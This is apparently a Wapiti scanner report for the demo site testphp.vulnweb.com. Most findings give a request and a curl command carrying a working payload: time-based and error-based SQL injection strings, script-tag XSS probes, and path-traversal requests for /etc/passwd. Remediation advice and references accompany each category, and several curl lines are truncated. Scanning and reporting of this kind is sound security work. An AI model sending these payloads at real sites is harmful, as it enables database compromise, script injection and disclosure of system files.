Wapiti scan report

Blind SQL Injection

Description

Blind SQL injection is a technique that exploits a vulnerability occurring in the database of an application. This kind of vulnerability is harder to detect than basic SQL injections because no error message will be displayed on the webpage.

Vulnerability found in /artists.php

Description HTTP Request cURL command line

```
Blind SQL vulnerability via injection in the parameter artist
```

```
GET /artists.php?artist=sleep%287%29%231 HTTP/1.1
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/artists.php?artist=sleep%287%29%231"
```

Vulnerability found in /listproducts.php

Description HTTP Request cURL command line

```
Blind SQL vulnerability via injection in the parameter cat
```

```
GET /listproducts.php?cat=sleep%287%29%231 HTTP/1.1
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/listproducts.php?cat=sleep%287%29%231"
```

Vulnerability found in /listproducts.php

Description HTTP Request cURL command line

```
Blind SQL vulnerability via injection in the parameter artist
```

```
GET /listproducts.php?artist=sleep%287%29%231 HTTP/1.1
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/listproducts.php?artist=sleep%287%29%231"
```

Vulnerability found in /product.php

Description HTTP Request cURL command line

```
Blind SQL vulnerability via injection in the parameter pic
```

```
GET /product.php?pic=sleep%287%29%231 HTTP/1.1
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/product.php?pic=sleep%287%29%231"
```

Vulnerability found in /search.php

Description HTTP Request cURL command line

```
Blind SQL vulnerability via injection in the parameter searchFor

POST /search.php?test=query HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/
Content-Type: application/x-www-form-urlencoded

searchFor=%27+or+sleep%287%29%3D%27&goButton=go

curl "http://testphp.vulnweb.com/search.php?test=query" -e "http://testphp.vulnweb.com/" -d "search
```

Vulnerability found in /secured/newuser.php

Description HTTP Request cURL command line

```
Blind SQL vulnerability via injection in the parameter uuname

POST /secured/newuser.php HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/signup.php
Content-Type: application/x-www-form-urlencoded

uuname=%27+or+sleep%287%29%231&upass=Letm3in_&upass2=Letm3in_&urname=default&ucc=default&uemail=wap

curl "http://testphp.vulnweb.com/secured/newuser.php" -e "http://testphp.vulnweb.com/signup.php" -d
```

Vulnerability found in /userinfo.php

Description HTTP Request cURL command line

```
Blind SQL vulnerability via injection in the parameter uname

POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/login.php
Content-Type: application/x-www-form-urlencoded

uname=%27+or+sleep%287%29%231&pass=Letm3in_

curl "http://testphp.vulnweb.com/userinfo.php" -e "http://testphp.vulnweb.com/login.php" -d "uname=
```

Vulnerability found in /userinfo.php

Description HTTP Request cURL command line

```
Blind SQL vulnerability via injection in the parameter pass

POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/login.php
Content-Type: application/x-www-form-urlencoded

uname=default&pass=%27+or+sleep%287%29%231

curl "http://testphp.vulnweb.com/userinfo.php" -e "http://testphp.vulnweb.com/login.php" -d "uname=
```

Solutions

To protect against SQL injection, user input must not directly be embedded in SQL statements. Instead, user input must be escaped or filtered or parameterized statements must be used.

References

- OWASP: Blind SQL Injection
- Wikipedia: SQL injection
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Content Security Policy Configuration

Description

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks.

Vulnerability found in /

Description HTTP Request cURL command line

```
CSP is not set
```

```
GET / HTTP/1.1
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/"
```

Solutions

Configuring Content Security Policy involves adding the Content-Security-Policy HTTP header to a web page and giving it values to control what resources the user agent is allowed to load for that page.

References

- Mozilla: Content Security Policy (CSP)
- OWASP: Content Security Policy Cheat Sheet
- OWASP: How to do Content Security Policy (PDF)

Path Traversal

Description

This attack is known as Path or Directory Traversal. Its aim is the access to files and directories that are stored outside the web root folder. The attacker tries to explore the directories stored in the web server. The attacker uses some techniques, for instance, the manipulation of variables that reference files with 'dot-dot-slash (../)' sequences and its variations to move up to root directory to navigate through the file system.

Vulnerability found in /showimage.php

Description HTTP Request cURL command line

```
Possible fopen() vulnerability via injection in the parameter file
```

```
GET /showimage.php?file=%2Fetc%2Fpasswd&size=160 HTTP/1.1
Host: testphp.vulnweb.com

curl "http://testphp.vulnweb.com/showimage.php?file=%2Fetc%2Fpasswd&size=160"
```

Vulnerability found in /showimage.php

Description HTTP Request cURL command line

```
Possible source code disclosure via injection in the parameter file

GET /showimage.php?file=showimage.php&size=160 HTTP/1.1
Host: testphp.vulnweb.com

curl "http://testphp.vulnweb.com/showimage.php?file=showimage.php&size=160"
```

Vulnerability found in /showimage.php

Description HTTP Request cURL command line

```
Possible fopen() vulnerability via injection in the parameter file

GET /showimage.php?file=%2Fetc%2Fpasswd HTTP/1.1
Host: testphp.vulnweb.com

curl "http://testphp.vulnweb.com/showimage.php?file=%2Fetc%2Fpasswd"
```

Vulnerability found in /showimage.php

Description HTTP Request cURL command line

```
Possible source code disclosure via injection in the parameter file

GET /showimage.php?file=showimage.php HTTP/1.1
Host: testphp.vulnweb.com

curl "http://testphp.vulnweb.com/showimage.php?file=showimage.php"
```

Solutions

Prefer working without user input when using file system calls. Use indexes rather than actual portions of file names when templating or using language files (eg: value 5 from the user submission = Czechoslovakian, rather than expecting the user to return 'Czechoslovakian'). Ensure the user cannot supply all parts of the path - surround it with your path code. Validate the user's input by only accepting known good - do not sanitize the data. Use chrooted jails and code access policies to restrict where the files can be obtained or saved to.

References

- OWASP: Path Traversal
- Acunetix: What is a Directory Traversal attack?
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

HTTP Secure Headers

Description

HTTP security headers tell the browser how to behave when handling the website's content.

Vulnerability found in /

Description HTTP Request cURL command line

```
X-Frame-Options is not set
```

```
GET / HTTP/1.1
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/"
```

Vulnerability found in /

Description HTTP Request cURL command line

```
X-XSS-Protection is not set
```

```
GET / HTTP/1.1
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/"
```

Vulnerability found in /

Description HTTP Request cURL command line

```
X-Content-Type-Options is not set
```

```
GET / HTTP/1.1
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/"
```

Vulnerability found in /

Description HTTP Request cURL command line

```
Strict-Transport-Security is not set
```

```
GET / HTTP/1.1
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/"
```

Solutions

Use the recommendations for hardening your HTTP Security Headers.

References

- Netsparker: HTTP Security Headers: An Easy Way to Harden Your Web Applications
- KeyCDN: Hardening Your HTTP Security Headers
- OWASP: HTTP SECURITY HEADERS (Protection For Browsers) (PDF)

SQL Injection

Description

SQL injection vulnerabilities allow an attacker to alter the queries executed on the backend database. An attacker may then be able to extract or modify information stored in the database or even escalate his privileges on the system.

Vulnerability found in /artists.php

Description HTTP Request cURL command line

```
SQL Injection (DMBS: MySQL) via injection in the parameter artist
```

```
GET /artists.php?artist=2%C2%BF%27%22%28 HTTP/1.1
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/artists.php?artist=2%C2%BF%27%22%28"
```

Vulnerability found in /listproducts.php

Description HTTP Request cURL command line

```
SQL Injection (DMBS: MySQL) via injection in the parameter cat
```

```
GET /listproducts.php?cat=4%C2%BF%27%22%28 HTTP/1.1
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/listproducts.php?cat=4%C2%BF%27%22%28"
```

Vulnerability found in /listproducts.php

Description HTTP Request cURL command line

```
SQL Injection (DMBS: MySQL) via injection in the parameter artist
```

```
GET /listproducts.php?artist=2%C2%BF%27%22%28 HTTP/1.1
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/listproducts.php?artist=2%C2%BF%27%22%28"
```

Vulnerability found in /product.php

Description HTTP Request cURL command line

```
SQL Injection (DMBS: MySQL) via injection in the parameter pic
```

```
GET /product.php?pic=6%C2%BF%27%22%28 HTTP/1.1
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/product.php?pic=6%C2%BF%27%22%28"
```

Vulnerability found in /search.php

Description HTTP Request cURL command line

```
SQL Injection (DMBS: MySQL) via injection in the parameter test
```

```
GET /search.php?test=query%C2%BF%27%22%28 HTTP/1.1
```

```
Host: testphp.vulnweb.com

curl "http://testphp.vulnweb.com/search.php?test=query%C2%BF%27%22%28"
```

Vulnerability found in /search.php

Description HTTP Request cURL command line

```
SQL Injection (DMBS: MySQL) via injection in the parameter test

POST /search.php?test=query%C2%BF%27%22%28 HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/
Content-Type: application/x-www-form-urlencoded

searchFor=default&goButton=go

curl "http://testphp.vulnweb.com/search.php?test=query%C2%BF%27%22%28" -e "http://testphp.vulnweb.c
```

Vulnerability found in /secured/newuser.php

Description HTTP Request cURL command line

```
SQL Injection (DMBS: MySQL) via injection in the parameter uuname

POST /secured/newuser.php HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/signup.php
Content-Type: application/x-www-form-urlencoded

uuname=default%C2%BF%27%22%28&upass=Letm3in_&upass2=Letm3in_&urname=default&ucc=default&uemail=wapi

curl "http://testphp.vulnweb.com/secured/newuser.php" -e "http://testphp.vulnweb.com/signup.php" -c
```

Vulnerability found in /userinfo.php

Description HTTP Request cURL command line

```
SQL Injection (DMBS: MySQL) via injection in the parameter uname

POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/login.php
Content-Type: application/x-www-form-urlencoded

uname=default%C2%BF%27%22%28&pass=Letm3in_

curl "http://testphp.vulnweb.com/userinfo.php" -e "http://testphp.vulnweb.com/login.php" -d "uname=
```

Vulnerability found in /userinfo.php

Description HTTP Request cURL command line

```
SQL Injection (DMBS: MySQL) via injection in the parameter pass

POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/login.php
Content-Type: application/x-www-form-urlencoded

uname=default&pass=Letm3in_%C2%BF%27%22%28
```

```
curl "http://testphp.vulnweb.com/userinfo.php" -e "http://testphp.vulnweb.com/login.php" -d "uname=
```

Solutions

To protect against SQL injection, user input must not directly be embedded in SQL statements. Instead, user input must be escaped or filtered or parameterized statements must be used.

References

- OWASP: SQL Injection
- Wikipedia: SQL injection
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Cross Site Scripting

Description

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users. Examples of such code include HTML code and client-side scripts.

Vulnerability found in /hpp/

Description HTTP Request cURL command line

```
XSS vulnerability found via injection in the parameter pp
```

```
GET /hpp/?pp=%22%3E%3C%2Fa%3E%3CScRiPt%3Ealert%28%27wwfj7iyxqz%27%29%3C%2FsCrIpT%3E HTTP/1.1
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/hpp/?pp=%22%3E%3C%2Fa%3E%3CScRiPt%3Ealert%28%27wwfj7iyxqz%27%29%3C
```

Vulnerability found in /hpp/params.php

Description HTTP Request cURL command line

```
XSS vulnerability found via injection in the parameter p
```

```
GET /hpp/params.php?p=%3CScRiPt%3Ealert%28%27w1eze3nqw7%27%29%3C%2FsCrIpT%3E&pp=12 HTTP/1.1
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/hpp/params.php?p=%3CScRiPt%3Ealert%28%27w1eze3nqw7%27%29%3C%2FsCrI
```

Vulnerability found in /hpp/params.php

Description HTTP Request cURL command line

```
XSS vulnerability found via injection in the parameter pp
```

```
GET /hpp/params.php?p=valid&pp=%3CScRiPt%3Ealert%28%27wx4teqwkpj%27%29%3C%2FsCrIpT%3E HTTP/1.1
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=%3CScRiPt%3Ealert%28%27wx4teqwkpj%27%29%
```

Vulnerability found in /listproducts.php

Description HTTP Request cURL command line

XSS vulnerability found via injection in the parameter cat

```
GET /listproducts.php?cat=%3CScRiPt%3Ealert%28%27weootws0m0%27%29%3C%2FsCrIpT%3E HTTP/1.1
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/listproducts.php?cat=%3CScRiPt%3Ealert%28%27weootws0m0%27%29%3C%2F
```

Vulnerability found in /listproducts.php

Description HTTP Request cURL command line

XSS vulnerability found via injection in the parameter artist

```
GET /listproducts.php?artist=%3CScRiPt%3Ealert%28%27wfjb6nyu6z%27%29%3C%2FsCrIpT%3E HTTP/1.1
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/listproducts.php?artist=%3CScRiPt%3Ealert%28%27wfjb6nyu6z%27%29%3C
```

Vulnerability found in /comment.php

Description HTTP Request cURL command line

XSS vulnerability found via injection in the parameter name

```
POST /comment.php HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/comment.php?aid=2
Content-Type: application/x-www-form-urlencoded

name=%3C%2Ftitle%3E%3CScRiPt%3Ealert%28%27wkigy9jc5c%27%29%3C%2FsCrIpT%3E&Submit=Submit&phpaction=e
```

```
curl "http://testphp.vulnweb.com/comment.php" -e "http://testphp.vulnweb.com/comment.php?aid=2" -d
```

Vulnerability found in /guestbook.php

Description HTTP Request cURL command line

XSS vulnerability found via injection in the parameter name

```
POST /guestbook.php HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/guestbook.php
Content-Type: application/x-www-form-urlencoded

name=%3CScRiPt%3Ealert%28%27wn37dughj4%27%29%3C%2FsCrIpT%3E&submit=add+message&text=Hi+there%21
```

```
curl "http://testphp.vulnweb.com/guestbook.php" -e "http://testphp.vulnweb.com/guestbook.php" -d "r
```

Vulnerability found in /guestbook.php

Description HTTP Request cURL command line

XSS vulnerability found via injection in the parameter text

```
POST /guestbook.php HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/guestbook.php
Content-Type: application/x-www-form-urlencoded
```

```
name=anonymous+user&submit=add+message&text=%3CScRiPt%3Ealert%28%27wrf2hpcjba%27%29%3C%2FsCrIpT%3E
```

```
curl "http://testphp.vulnweb.com/guestbook.php" -e "http://testphp.vulnweb.com/guestbook.php" -d "r
```

Vulnerability found in /search.php

Description HTTP Request cURL command line

```
XSS vulnerability found via injection in the parameter searchFor
```

```
POST /search.php?test=query HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/
Content-Type: application/x-www-form-urlencoded

searchFor=%3CScRiPt%3Ealert%28%27woejkjfitu%27%29%3C%2FsCrIpT%3E&goButton=go
```

```
curl "http://testphp.vulnweb.com/search.php?test=query" -e "http://testphp.vulnweb.com/" -d "search
```

Vulnerability found in /secured/newuser.php

Description HTTP Request cURL command line

```
XSS vulnerability found via injection in the parameter uuname
```

```
POST /secured/newuser.php HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/signup.php
Content-Type: application/x-www-form-urlencoded

uuname=%3CScRiPt%3Ealert%28%22wjq9xdru2m%22%29%3C%2FsCrIpT%3E&upass=Letm3in_&upass2=Letm3in_&urname
```

```
curl "http://testphp.vulnweb.com/secured/newuser.php" -e "http://testphp.vulnweb.com/signup.php" -d
```

Vulnerability found in /secured/newuser.php

Description HTTP Request cURL command line

```
XSS vulnerability found via injection in the parameter urname
```

```
POST /secured/newuser.php HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/signup.php
Content-Type: application/x-www-form-urlencoded

uuname=default&upass=Letm3in_&upass2=Letm3in_&urname=%3CScRiPt%3Ealert%28%27wz6cnuvaoy%27%29%3C%2Fs
```

```
curl "http://testphp.vulnweb.com/secured/newuser.php" -e "http://testphp.vulnweb.com/signup.php" -d
```

Vulnerability found in /secured/newuser.php

Description HTTP Request cURL command line

```
XSS vulnerability found via injection in the parameter ucc
```

```
POST /secured/newuser.php HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/signup.php
Content-Type: application/x-www-form-urlencoded

uuname=default&upass=Letm3in_&upass2=Letm3in_&urname=default&ucc=%3CScRiPt%3Ealert%28%27wcza108yo9%
```

```
curl "http://testphp.vulnweb.com/secured/newuser.php" -e "http://testphp.vulnweb.com/signup.php" -c
```

Vulnerability found in /secured/newuser.php

Description HTTP Request cURL command line

```
XSS vulnerability found via injection in the parameter uemail
```

```
POST /secured/newuser.php HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/signup.php
Content-Type: application/x-www-form-urlencoded

uuname=default&upass=Letm3in_&upass2=Letm3in_&urname=default&ucc=default&uemail=%3CScRiPt%3Ealert%2
```

```
curl "http://testphp.vulnweb.com/secured/newuser.php" -e "http://testphp.vulnweb.com/signup.php" -c
```

Vulnerability found in /secured/newuser.php

Description HTTP Request cURL command line

```
XSS vulnerability found via injection in the parameter uphone
```

```
POST /secured/newuser.php HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/signup.php
Content-Type: application/x-www-form-urlencoded

uuname=default&upass=Letm3in_&upass2=Letm3in_&urname=default&ucc=default&uemail=wapiti2021%40mailir
```

```
curl "http://testphp.vulnweb.com/secured/newuser.php" -e "http://testphp.vulnweb.com/signup.php" -c
```

Vulnerability found in /secured/newuser.php

Description HTTP Request cURL command line

```
XSS vulnerability found via injection in the parameter uaddress
```

```
POST /secured/newuser.php HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/signup.php
Content-Type: application/x-www-form-urlencoded

uuname=default&upass=Letm3in_&upass2=Letm3in_&urname=default&ucc=default&uemail=wapiti2021%40mailir
```

```
curl "http://testphp.vulnweb.com/secured/newuser.php" -e "http://testphp.vulnweb.com/signup.php" -c
```

Solutions

The best way to protect a web application from XSS attacks is ensure that the application performs validation of all headers, cookies, query strings, form fields, and hidden fields. Encoding user supplied output in the server side can also defeat XSS vulnerabilities by preventing inserted scripts from being transmitted to users in an executable form. Applications can gain significant protection from javascript based attacks by converting the following characters in all generated output to the appropriate HTML entity encoding:<, >, &, ', (,), #, %, ; , +, -

References

- OWASP: Cross Site Scripting (XSS)
- Wikipedia: Cross-site scripting

- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Internal Server Error

Description

An error occurred on the server's side, preventing it to process the request. It may be the sign of a vulnerability.

Anomaly found in /showimage.php

Description HTTP Request cURL command line

```
The server responded with a 500 HTTP error code while attempting to inject a payload in the paramet
```

```
GET /showimage.php?file=.%2Fpictures%2F3.jpg&size=C%3A%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Cservi
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/showimage.php?file=.%2Fpictures%2F3.jpg&size=C%3A%5CWindows%5CSyst
```

Anomaly found in /search.php

Description HTTP Request cURL command line

```
The server responded with a 500 HTTP error code while attempting to inject a payload in the paramet
```

```
POST /search.php?test=query HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/
Content-Type: application/x-www-form-urlencoded

searchFor=default&goButton=%27%29%2F%2A%2A%2Fand%2F%2A%2A%2Fsleep%287%29%3D%27
```

```
curl "http://testphp.vulnweb.com/search.php?test=query" -e "http://testphp.vulnweb.com/" -d "search
```

Anomaly found in /secured/newuser.php

Description HTTP Request cURL command line

```
The server responded with a 500 HTTP error code while attempting to inject a payload in the paramet
```

```
POST /secured/newuser.php HTTP/1.1
Host: testphp.vulnweb.com
Referer: http://testphp.vulnweb.com/signup.php
Content-Type: application/x-www-form-urlencoded

uuname=default&upass=%22%29%2F%2A%2A%2Fand%2F%2A%2A%2Fpg_sleep%287%29--1&upass2=Letm3in_&urname=def
```

```
curl "http://testphp.vulnweb.com/secured/newuser.php" -e "http://testphp.vulnweb.com/signup.php" -d
```

Solutions

More information about the error should be found in the server logs.

References

- Wikipedia: List of 5xx HTTP status codes

- OWASP: Improper Error Handling

Resource consumption

Description

It took an abnormal time to the server to respond to a query. An attacker might leverage this kind of weakness to overload the server.

Anomaly found in /showimage.php

Description HTTP Request cURL command line

```
The request timed out while attempting to inject a payload in the parameter size
```

```
GET /showimage.php?file=.%2Fpictures%2F3.jpg&size=C%3A%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Cservi
Host: testphp.vulnweb.com
```

```
curl "http://testphp.vulnweb.com/showimage.php?file=.%2Fpictures%2F3.jpg&size=C%3A%5CWindows%5CSyst
```

Solutions

The involved script is maybe using the server resources (CPU, memory, network, file access...) in a non-efficient way.

References

- CWE-405: Asymmetric Resource Consumption (Amplification)
- CWE-400: Uncontrolled Resource Consumption
